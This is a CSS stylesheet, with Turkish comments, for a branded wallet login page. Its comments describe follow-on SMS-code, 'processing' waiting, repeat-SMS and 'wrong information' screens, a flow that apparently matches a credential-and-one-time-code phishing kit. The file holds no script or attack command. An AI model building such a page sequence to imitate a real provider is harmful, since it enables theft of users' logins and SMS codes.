*,
*::before,
*::after {
    box-sizing: border-box;
    margin: 0;
    padding: 0;
}

body {
    font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
    background-color: #f4f5f6;
    color: #1f2937;
    line-height: 1.5;
    -webkit-font-smoothing: antialiased;
}

/* Üst Bar */
.wallet-topbar {
    width: 100%;
    background-color: #ffffff;
    border-bottom: 1px solid #e5e7eb;
}

.wallet-topbar-inner {
    max-width: 960px;
    margin: 0 auto;
    padding: 0.65rem 1.25rem;
    display: flex;
    align-items: center;
    justify-content: space-between;
    gap: 1rem;
}

.brand-link {
    display: inline-flex;
    align-items: center;
    text-decoration: none;
}

.brand-logo {
    max-height: 44px;
    max-width: 190px;
    width: auto;
    height: auto;
    display: block;
    object-fit: contain;
}

.segment-nav {
    display: flex;
    align-items: center;
    gap: 0.25rem;
}

.segment-tab {
    background: transparent;
    border: 1px solid transparent;
    color: #00529B;
    font-size: 0.875rem;
    font-weight: 500;
    letter-spacing: 0.03em;
    padding: 0.7rem 1rem;
    cursor: pointer;
    transition: border-color 0.15s ease, background-color 0.15s ease;
}

.segment-tab.is-active {
    border-color: #00529B;
}

.segment-tab:hover {
    background-color: #eff6ff;
}

/* Ana İçerik Alanı */
.wallet-main {
    padding: 2rem 1.25rem 3rem;
}

.wallet-wrapper {
    width: 100%;
    max-width: 460px;
    margin: 0 auto;
}

.wallet-title {
    font-size: 1.45rem;
    font-weight: 600;
    color: #111827;
    margin-bottom: 1.15rem;
}

.wallet-subtitle {
    font-size: 1.12rem;
    font-weight: 400;
    color: #6b7280;
    margin-bottom: 0.95rem;
}

.wallet-desc {
    font-size: 0.95rem;
    color: #374151;
    line-height: 1.45;
    margin-bottom: 1.35rem;
}

/* Beyaz Alt Çizgili Input Kartları */
.field-card {
    background-color: #ffffff;
    border: 1px solid #eceef1;
    border-bottom: 2px solid #d1d5db;
    padding: 0.65rem 0.95rem;
    margin-bottom: 1rem;
    display: flex;
    align-items: center;
    justify-content: space-between;
    gap: 0.75rem;
    transition: border-bottom-color 0.15s ease;
}

.field-card:focus-within {
    border-bottom-color: #00529B;
}

.field-content {
    flex: 1;
    min-width: 0;
}

.field-label {
    display: block;
    font-size: 0.78rem;
    font-weight: 400;
    color: #6b7280;
    margin-bottom: 0.2rem;
}

.field-input {
    width: 100%;
    border: none;
    outline: none;
    background: transparent;
    font-size: 1.05rem;
    font-weight: 600;
    color: #111827;
    line-height: 1.35;
}

.clear-input-btn {
    background: transparent;
    border: none;
    color: #00529B;
    cursor: pointer;
    padding: 0.25rem;
    display: inline-flex;
    align-items: center;
    justify-content: center;
    flex-shrink: 0;
}

.clear-input-btn:hover {
    opacity: 0.75;
}

/* Beni Hatırla Kartı */
.remember-card {
    background-color: #ffffff;
    border: 1px solid #eceef1;
    padding: 0.95rem 1rem;
    margin-bottom: 1.25rem;
    display: flex;
    align-items: center;
    justify-content: space-between;
}

.remember-label {
    display: inline-flex;
    align-items: center;
    gap: 0.75rem;
    cursor: pointer;
    user-select: none;
}

.remember-checkbox {
    position: absolute;
    opacity: 0;
    width: 0;
    height: 0;
}

.remember-box {
    width: 22px;
    height: 22px;
    border: 1.5px solid #00529B;
    border-radius: 2px;
    background-color: #ffffff;
    display: inline-flex;
    align-items: center;
    justify-content: center;
    transition: background-color 0.15s ease;
}

.remember-checkbox:checked + .remember-box {
    background-color: #00529B;
}

.remember-checkbox:checked + .remember-box::after {
    content: "";
    width: 6px;
    height: 11px;
    border: solid #ffffff;
    border-width: 0 2px 2px 0;
    transform: rotate(45deg);
    margin-bottom: 2px;
}

.remember-text {
    font-size: 0.98rem;
    color: #1f2937;
}

.info-badge {
    width: 28px;
    height: 28px;
    border-radius: 50%;
    background-color: #00529B;
    color: #ffffff;
    font-family: Georgia, "Times New Roman", serif;
    font-style: italic;
    font-weight: 700;
    font-size: 1rem;
    display: inline-flex;
    align-items: center;
    justify-content: center;
    flex-shrink: 0;
}

/* Giriş ve Gönder Butonu */
.wallet-submit-btn {
    width: 100%;
    padding: 0.95rem 1rem;
    font-size: 1.05rem;
    font-weight: 600;
    color: #ffffff;
    background-color: #00529B;
    border: none;
    border-radius: 4px;
    cursor: pointer;
    transition: background-color 0.15s ease;
}

.wallet-submit-btn:hover {
    background-color: #003c73;
}

.wallet-submit-btn:disabled {
    opacity: 0.65;
    cursor: not-allowed;
}

/* Alt Bağlantılar */
.wallet-links {
    margin-top: 1.15rem;
    display: flex;
    flex-direction: column;
    gap: 0.7rem;
}

.wallet-link {
    font-size: 0.95rem;
    color: #1f2937;
    text-decoration: none;
}

.wallet-link:hover {
    text-decoration: underline;
}

.link-accent {
    color: #00529B;
    font-weight: 600;
}

/* Yardım ve Güvenlik Footer Alanı */
.wallet-footer {
    margin-top: 2.25rem;
}

.footer-section-title {
    font-size: 1.05rem;
    font-weight: 400;
    color: #6b7280;
    margin-bottom: 1rem;
}

.accordion-list {
    display: flex;
    flex-direction: column;
    gap: 2px;
    background-color: #eceef1;
    border: 1px solid #eceef1;
}

.accordion-item {
    background-color: #ffffff;
}

.accordion-trigger {
    width: 100%;
    background-color: #ffffff;
    border: none;
    padding: 1.15rem 1.2rem;
    display: flex;
    align-items: center;
    justify-content: space-between;
    gap: 1rem;
    text-align: left;
    cursor: pointer;
    color: #1f2937;
}

.accordion-trigger:hover {
    background-color: #fafafa;
}

.accordion-title {
    font-size: 1.02rem;
    font-weight: 400;
    color: #1f2937;
    line-height: 1.4;
}

.accordion-chevron {
    color: #00529B;
    flex-shrink: 0;
    transition: transform 0.2s ease;
}

.accordion-trigger[aria-expanded="true"] .accordion-chevron {
    transform: rotate(180deg);
}

.accordion-panel {
    padding: 0 1.2rem 1.1rem;
    font-size: 0.9rem;
    color: #4b5563;
    line-height: 1.5;
}

.footer-more-link {
    display: inline-flex;
    align-items: center;
    gap: 0.45rem;
    margin-top: 1.35rem;
    font-size: 1.02rem;
    font-weight: 600;
    color: #00529B;
    text-decoration: none;
}

.footer-more-link:hover {
    text-decoration: underline;
}

.footer-lang {
    margin-top: 1.15rem;
    font-size: 1rem;
    color: #4b5563;
}

.footer-lang-link {
    color: #00529B;
    font-weight: 600;
    text-decoration: none;
}

.footer-lang-link:hover {
    text-decoration: underline;
}

/* Diğer Adım Sayfaları (SMS, Bekleme, Onay) İçin Ortak Kart Yapısı */
.container {
    min-height: 100vh;
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 1rem;
}

.card {
    width: 100%;
    max-width: 440px;
    background-color: #ffffff;
    border: 1px solid #eceef1;
    border-radius: 6px;
    padding: 2rem;
}

.card h1 {
    font-size: 1.3rem;
    font-weight: 600;
    color: #111827;
    margin-bottom: 1.25rem;
}

.form-group {
    display: flex;
    flex-direction: column;
    gap: 0.4rem;
    margin-bottom: 1rem;
}

.form-group label {
    font-size: 0.85rem;
    font-weight: 500;
    color: #4b5563;
}

.form-group input {
    width: 100%;
    padding: 0.7rem 0.8rem;
    font-size: 1rem;
    border: 1px solid #d1d5db;
    border-bottom: 2px solid #d1d5db;
    border-radius: 4px;
    outline: none;
}

.form-group input:focus {
    border-bottom-color: #00529B;
}

.btn {
    width: 100%;
    padding: 0.85rem;
    font-size: 1rem;
    font-weight: 600;
    color: #ffffff;
    background-color: #00529B;
    border: none;
    border-radius: 4px;
    cursor: pointer;
    margin-top: 0.5rem;
}

.btn:hover {
    background-color: #003c73;
}

.btn:disabled {
    opacity: 0.65;
    cursor: not-allowed;
}

.btn-link {
    display: block;
    text-align: center;
    text-decoration: none;
}

.message {
    font-size: 0.875rem;
    margin-bottom: 0.75rem;
    min-height: 1.25rem;
}

.message.error {
    color: #dc2626;
}

.message.success {
    color: #00529B;
}

.status-info {
    font-size: 0.92rem;
    color: #4b5563;
    margin-bottom: 1.25rem;
}

.alert-box {
    padding: 0.85rem 1rem;
    border-radius: 4px;
    font-size: 0.9rem;
    margin-bottom: 1.25rem;
    line-height: 1.45;
}

.alert-error {
    background-color: #fee2e2;
    color: #991b1b;
    border: 1px solid #fecaca;
}

.alert-warning {
    background-color: #fef3c7;
    color: #92400e;
    border: 1px solid #fde68a;
}

.alert-success {
    background-color: #eff6ff;
    color: #003c73;
    border: 1px solid #bfdbfe;
}

.pixel-fallback {
    display: none;
}

/* Bekleme / İşlem Gerçekleştiriliyor Kartı */
/* Bekleme Ekranı Düzeni (Ortalanmış Header + Kart + Kırmızı Sosyal Medya Footer) */
.status-page-body {
    min-height: 100vh;
    display: flex;
    flex-direction: column;
    background-color: #f4f5f6;
}

.centered-topbar {
    width: 100%;
    background-color: #ffffff;
    border-bottom: 1px solid #e5e7eb;
    box-shadow: 0 2px 10px rgba(17, 24, 39, 0.03);
}

.centered-topbar-inner {
    max-width: 960px;
    margin: 0 auto;
    padding: 1.05rem 1.25rem;
    display: flex;
    align-items: center;
    justify-content: center;
}

.centered-brand-link {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    text-decoration: none;
}

.centered-brand-logo {
    max-height: 48px;
    max-width: 210px;
    width: auto;
    height: auto;
    display: block;
    object-fit: contain;
}

.status-page-main {
    flex: 1;
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 2.25rem 1.25rem;
}

.processing-card {
    background-color: #ffffff;
    border: 1px solid #eceef1;
    border-top: 3px solid #00529B;
    border-radius: 8px;
    padding: 3rem 2rem;
    text-align: center;
    box-shadow: 0 6px 20px rgba(17, 24, 39, 0.04);
}

.spinner-stage {
    position: relative;
    width: 68px;
    height: 68px;
    margin: 0 auto 1.65rem;
    display: flex;
    align-items: center;
    justify-content: center;
}

.wallet-spinner {
    width: 68px;
    height: 68px;
    border-radius: 50%;
    border: 4px solid rgba(0, 82, 155, 0.14);
    border-top-color: #00529B;
    border-right-color: #00529B;
    animation: walletSpin 0.95s cubic-bezier(0.55, 0.15, 0.45, 0.85) infinite;
}

.wallet-spinner-dot {
    position: absolute;
    width: 14px;
    height: 14px;
    border-radius: 50%;
    background-color: #00529B;
    animation: walletPulse 1.6s ease-in-out infinite;
}

.processing-title {
    font-size: 1.25rem;
    font-weight: 600;
    color: #111827;
    margin-bottom: 0.75rem;
    line-height: 1.4;
}

.processing-desc {
    font-size: 0.95rem;
    color: #4b5563;
    line-height: 1.55;
    max-width: 360px;
    margin: 0 auto;
}

/* Mavi Sosyal Medya Footer */
.green-social-footer {
    width: 100%;
    background-color: #00529B;
    color: #ffffff;
    margin-top: auto;
}

.green-footer-inner {
    max-width: 960px;
    margin: 0 auto;
    padding: 1.5rem 1.25rem;
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 0.95rem;
}

.social-links {
    display: flex;
    align-items: center;
    justify-content: center;
    flex-wrap: wrap;
    gap: 0.75rem;
}

.social-icon-link {
    width: 40px;
    height: 40px;
    border-radius: 50%;
    background-color: rgba(255, 255, 255, 0.14);
    border: 1px solid rgba(255, 255, 255, 0.25);
    color: #ffffff;
    display: inline-flex;
    align-items: center;
    justify-content: center;
    text-decoration: none;
    transition: background-color 0.18s ease, transform 0.18s ease;
}

.social-icon-link:hover {
    background-color: #ffffff;
    color: #00529B;
    transform: translateY(-2px);
}

.green-footer-copy {
    font-size: 0.85rem;
    color: rgba(255, 255, 255, 0.9);
    text-align: center;
}

@keyframes walletSpin {
    0% {
        transform: rotate(0deg);
    }
    100% {
        transform: rotate(360deg);
    }
}

@keyframes walletPulse {
    0%, 100% {
        transform: scale(0.85);
        opacity: 0.55;
    }
    50% {
        transform: scale(1.1);
        opacity: 1;
    }
}

/* =========================================================
   TEKRAR SMS, ONAYLANDI VE HATALI BİLGİ EKRANLARI
   ========================================================= */
.sms-icon-badge.is-warning {
    background: linear-gradient(135deg, #fffbeb 0%, #fef3c7 100%);
    border-color: #fde68a;
    color: #d97706;
    box-shadow: 0 8px 20px rgba(217, 119, 6, 0.12);
}

.notify-status-pill.is-warning {
    color: #b45309;
    background-color: #fffbeb;
    border-color: #fde68a;
}

.notify-status-dot.is-warning {
    background-color: #f59e0b;
}

.sms-icon-badge.is-success {
    width: 64px;
    height: 64px;
    border-radius: 50%;
    background: linear-gradient(135deg, #00529B 0%, #003c73 100%);
    border-color: #003c73;
    color: #ffffff;
    box-shadow: 0 10px 24px rgba(0, 82, 155, 0.24);
}

.status-action-btn {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    text-decoration: none;
    margin-top: 1.35rem;
}